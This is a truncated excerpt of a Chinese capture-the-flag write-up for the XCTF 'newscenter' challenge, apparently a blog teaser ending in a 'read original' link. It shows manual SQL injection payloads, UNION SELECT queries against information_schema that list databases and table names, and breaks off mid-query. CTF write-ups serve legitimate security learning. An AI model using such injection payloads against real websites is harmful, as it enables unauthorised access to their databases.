[wp]xctf newscenter

手工注入 查询所有数据库名称和表名 ’ union select 1,table_schema,table_name from information_schema.tables# 发现就两个数据库information_schema与news 查询news数据库中的表的名称 ’ union select 1,table_schema,table_name from information_sch

>>阅读原文<<